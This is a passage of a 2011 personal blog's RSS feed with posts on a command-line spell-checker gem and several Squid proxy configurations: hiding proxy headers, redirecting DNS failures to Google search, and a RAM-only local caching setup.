class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description> <content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/08/clispell-the-cli-spell-checker-and-dictionary-youve-always-wanted/' addthis:title='clispell, the CLI spell checker and dictionary you&#8217;ve always wanted '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p>It&#8217;s always annoying to Google a word just to see how to spell it, and Google recently stopped showing you the correction in bold/italics at the top of search results (Update: Google restored this as of 7/30/11).  I also wanted to have a way to quickly ensure that I&#8217;m using a word properly, so I made clispell since I&#8217;m always hacking on <em>something</em> in a terminal anyway.</p><p>Usage:</p><pre class="brush: bash; title: ; notranslate">
$&gt; clispell someword
</pre><p>clispell uses GNU ASpell and the great Oxford Advanced Learner&#8217;s Dictionary, which conveniently provides definitions and usage examples for tons of words, and even all the slang words that I could think of (!).</p><p>Installation:</p><pre class="brush: bash; title: ; notranslate">
$&gt; gem install clispell
</pre><p>Rubygems page:<br /> <br /> <a href="https://rubygems.org/gems/clispell" title="Rubygems page for clispell"><img src="http://seanp2k.com/ruby.png" alt="Rubygems page for clispell" /></a></p><div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/08/clispell-the-cli-spell-checker-and-dictionary-youve-always-wanted/' addthis:title='clispell, the CLI spell checker and dictionary you&#8217;ve always wanted ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded> <wfw:commentRss>http://seanp2k.com/2011/08/clispell-the-cli-spell-checker-and-dictionary-youve-always-wanted/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Making Squid 3 undetectable</title><link>http://seanp2k.com/2011/07/making-squid-3-undetectable/</link> <comments>http://seanp2k.com/2011/07/making-squid-3-undetectable/#comments</comments> <pubDate>Sat, 30 Jul 2011 19:24:43 +0000</pubDate> <dc:creator>sean</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[forwarded_for]]></category> <category><![CDATA[ghost proxy]]></category> <category><![CDATA[header_access]]></category> <category><![CDATA[reply_header_access]]></category> <category><![CDATA[request_header_access]]></category> <category><![CDATA[squid configuration]]></category> <category><![CDATA[squid invisible]]></category> <category><![CDATA[squid transparent proxy]]></category> <category><![CDATA[squid undetectable]]></category> <category><![CDATA[squid3]]></category> <category><![CDATA[undetectable proxy]]></category> <category><![CDATA[via]]></category><guid isPermaLink="false">http://seanp2k.com/?p=355</guid> <description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/07/making-squid-3-undetectable/' addthis:title='Making Squid 3 undetectable '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>An example of how to configure Squid v2.x and v3.x to be invisible/undetectable to web sites and other computers on the network.<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/07/making-squid-3-undetectable/' addthis:title='Making Squid 3 undetectable ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description> <content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/07/making-squid-3-undetectable/' addthis:title='Making Squid 3 undetectable '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p>This is a pretty simple one and goes along with my last few posts about Squid.  Sites like <a href="http://whatismyip.com">whatismyip.com</a> will let you know if they detect a proxy, and other services might act strange if you&#8217;re behind a proxy &#8212; particularly music / movie streaming stuff.  Since we&#8217;re not doing anything malicious here, we can just make Squid undetectable so those sites will just work &#8220;as they should&#8221;.</p><p>Throw this into your Squid config and restart squid to apply the changes (note that there are two blocks here depending on what version of squid you&#8217;re using &#8212; comment/uncomment accordingly):</p><pre class="brush: plain; title: ; notranslate">
# privacy stuff so squid is undetectable
via off
httpd_suppress_version_string    on
forwarded_for delete

# --- Squid 3.x section ---
request_header_access Via deny all
request_header_access X-Forwarded-For deny all
## you just need the 'request_header_access' stuff for localhost squid setups,
## but the below might also come in handy for running a proxy on your local net
# reply_header_access Via deny all
# reply_header_access X-Forwarded-For deny all
# --- end Squid 3.x section ---

# --- Squid 2.x section ---
# header_access Via deny all
# header_access X-Forwarded-For deny all
# --- end Squid 3.x section ---
</pre><div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/07/making-squid-3-undetectable/' addthis:title='Making Squid 3 undetectable ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded> <wfw:commentRss>http://seanp2k.com/2011/07/making-squid-3-undetectable/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Squid &#8211; Search Google upon DNS lookup failure</title><link>http://seanp2k.com/2011/07/squid-search-google-upon-dns-lookup-failure/</link> <comments>http://seanp2k.com/2011/07/squid-search-google-upon-dns-lookup-failure/#comments</comments> <pubDate>Sat, 30 Jul 2011 04:17:04 +0000</pubDate> <dc:creator>sean</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[dns lookup failure]]></category> <category><![CDATA[domain not found redirect]]></category> <category><![CDATA[error_directory]]></category> <category><![CDATA[ERR_DNS_FAIL]]></category> <category><![CDATA[langpack]]></category> <category><![CDATA[redirect squid google search]]></category> <category><![CDATA[squid]]></category> <category><![CDATA[squid 301]]></category> <category><![CDATA[squid redirect]]></category><guid isPermaLink="false">http://seanp2k.com/?p=353</guid> <description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/07/squid-search-google-upon-dns-lookup-failure/' addthis:title='Squid &#8211; Search Google upon DNS lookup failure '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>Make Squid redirect DNS lookup failures (like when you type a search term into the location bar) to a useful Google search of whatever you typed in the location bar instead of the [mostly] useless Squid "name lookup failure" page.<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/07/squid-search-google-upon-dns-lookup-failure/' addthis:title='Squid &#8211; Search Google upon DNS lookup failure ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description> <content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/07/squid-search-google-upon-dns-lookup-failure/' addthis:title='Squid &#8211; Search Google upon DNS lookup failure '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p>Normally, when you type something in the Firefox location bar that doesn&#8217;t resolve to a site, it&#8217;ll throw you to the Google search page for whatever you typed.  This is amazingly useful and surprisingly lacking in Squid.  I hacked the error page and made it work like so:</p><ol><li>Figure out where your langpack stuff is.  Mine is at &#8216;/usr/share/squid-langpack/en&#8217; (Ubuntu 11.04 / Squid3).  Use locate or something, like this: &#8216;updatedb &#038;&#038; locate -i squid |grep -i lang&#8217;<li>Open up your squid.conf (for me, this is at /etc/squid3/squid.conf) and make a new directive:<pre class="brush: plain; title: ; notranslate">
error_directory /usr/share/squid-langpack/en
</pre><li>Go into the langpack directory and rename the file &#8216;ERR_DNS_FAIL&#8217; to something else, like &#8216;ERR_DNS_FAIL.orig&#8217;<li>Make a new &#8216;ERR_DNS_FAIL&#8217; file in the langpack directory.  Put the following code in it:<pre class="brush: xml; title: ; notranslate">
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot; &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&gt; &lt;html&gt;&lt;head&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
&lt;!--
window.location = &quot;http://www.google.com/search?hl=en&amp;q=%H&amp;btnG=Search&quot;
//--&gt;
&lt;/script&gt;
&lt;/head&gt;&lt;/html&gt;
</pre><li> Save the file, restart squid, and type in some nonexistant thing in your location bar, like &#8216;oahdioajdjiowjdwoijaijwiodowaiadsd&#8217;.  When you hit [Enter] or click &#8216;Go&#8217;, it should redirect to the Google search page for whatever you typed.  This magic comes from the &#8216;%H&#8217; variable passed into the squid error page.  In whatever templating language this is using, &#8216;%H&#8217; means &#8220;Host&#8221;.<p>Have phun!</p><div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/07/squid-search-google-upon-dns-lookup-failure/' addthis:title='Squid &#8211; Search Google upon DNS lookup failure ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded> <wfw:commentRss>http://seanp2k.com/2011/07/squid-search-google-upon-dns-lookup-failure/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Speed your web browsing WAY up with Squid3</title><link>http://seanp2k.com/2011/07/speed-your-web-browsing-way-up-with-squid3/</link> <comments>http://seanp2k.com/2011/07/speed-your-web-browsing-way-up-with-squid3/#comments</comments> <pubDate>Thu, 28 Jul 2011 03:41:33 +0000</pubDate> <dc:creator>sean</dc:creator> <category><![CDATA[Computers]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[caching proxy localhost]]></category> <category><![CDATA[local caching proxy]]></category> <category><![CDATA[squid]]></category> <category><![CDATA[squid3]]></category> <category><![CDATA[squid3 caching proxy]]></category> <category><![CDATA[squid3 guide]]></category> <category><![CDATA[squid3 minimal configuration]]></category> <category><![CDATA[squid3 setup]]></category> <category><![CDATA[squid3 tutorial]]></category><guid isPermaLink="false">http://seanp2k.com/?p=347</guid> <description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/07/speed-your-web-browsing-way-up-with-squid3/' addthis:title='Speed your web browsing WAY up with Squid3 '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>A guide on how to set up Squid 3 as a local caching proxy to speed up web browsing on Ubuntu Linux.<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/07/speed-your-web-browsing-way-up-with-squid3/' addthis:title='Speed your web browsing WAY up with Squid3 ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description> <content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/07/speed-your-web-browsing-way-up-with-squid3/' addthis:title='Speed your web browsing WAY up with Squid3 '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p>I haven&#8217;t tried this in a long time, but I used to run Squid3 at home on my pfSense router box (older Pentium 4 &#8212; worked great) and I just had the idea to use it on my laptop to speed up web browsing.  It makes a HUGE difference and now pages look like they&#8217;re using AJAX for requests since the images and headers and stuff just stay put when moving between pages.  RAM cache is monumentally faster than disk cache, and we&#8217;re just totally disabling disk caching / log files with this squid3 config.</p><p>To set this up, you&#8217;ll need to install squid3, set your web browser to use 127.0.0.1 (sometimes the POSIX standard of just &#8217;0&#8242; isn&#8217;t supported because some developers make crappy software that isn&#8217;t really POSIX) port 3128 as a proxy for HTTP (you could cache HTTPS too but IMO it&#8217;s not worth it for just general browsing), paste the stuff below at the bottom of your squid3 config file (/etc/squid3/squid.conf on Ubuntu 11.04 for me) and restart squid3 (/etc/init.d/squid3 restart).</p><p>I left most of the stuff default, but I disabled the log files and set the RAM cache down to 128 MB.  You can adjust as necessary.</p><p><strong>Update:</strong> Put some comments in to help with getting this working in Squid v2.x, disk cache, and making it work on your local network <img src='http://seanp2k.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p><pre class="brush: bash; title: ; notranslate">
## root@helios:/etc/squid3# egrep -v '^#' squid.conf |tr -s '\n'

## uncomment next line if using squid 2
#acl all src 0.0.0.0/0.0.0.0

## example of how to let your whole local 192.168.1.0/24 network use the cache
#acl localnet src 192.168.1.0/24
#http_access allow manager localnet
#http_access allow localnet

acl manager proto cache_object
acl localhost src 127.0.0.1/32
acl to_localhost dst 127.0.0.0/8 0.0.0.0/32
acl SSL_ports port 443
acl Safe_ports port 80		# http
acl Safe_ports port 21		# ftp
acl Safe_ports port 443		# https
acl Safe_ports port 70		# gopher
acl Safe_ports port 210		# wais
acl Safe_ports port 1025-65535	# unregistered ports
acl Safe_ports port 280		# http-mgmt
acl Safe_ports port 488		# gss-http
acl Safe_ports port 591		# filemaker
acl Safe_ports port 777		# multiling http
acl CONNECT method CONNECT
http_access allow manager localhost
http_access deny manager
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access allow localhost
http_access deny all
http_port 3128
hierarchy_stoplist cgi-bin ?
cache_mem 128 MB
maximum_object_size_in_memory 512 KB
memory_replacement_policy heap LFUDA
coredump_dir /var/spool/squid3
refresh_pattern ^ftp:		1440	20%	10080
refresh_pattern ^gopher:	1440	0%	1440
refresh_pattern -i (/cgi-bin/|\?) 0	0%	0
refresh_pattern .		0	20%	4320

## disk cache stuff if you want
#cache_replacement_policy heap LFUDA
#cache_dir aufs /var/spool/squid 4096 16 256
#minimum_object_size 0 KB
#maximum_object_size 4096 KB
#cache_swap_low 90
#cache_swap_high 95

## disable all logging for better performance
access_log none
cache_store_log none
cache_log /dev/null
</pre><div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/07/speed-your-web-browsing-way-up-with-squid3/' addthis:title='Speed your web browsing WAY up with Squid3 ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded> <wfw:commentRss>http://seanp2k.com/2011/07/speed-your-web-browsing-way-up-with-squid3/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using memcached
Page Caching using memcached
Database Caching 10/32 queries in 0.011 seconds using memcached
Object Caching 1123/1216 objects using memcached

Served from: seanp2k.com @ 2012-02-06 18:05:53 -->
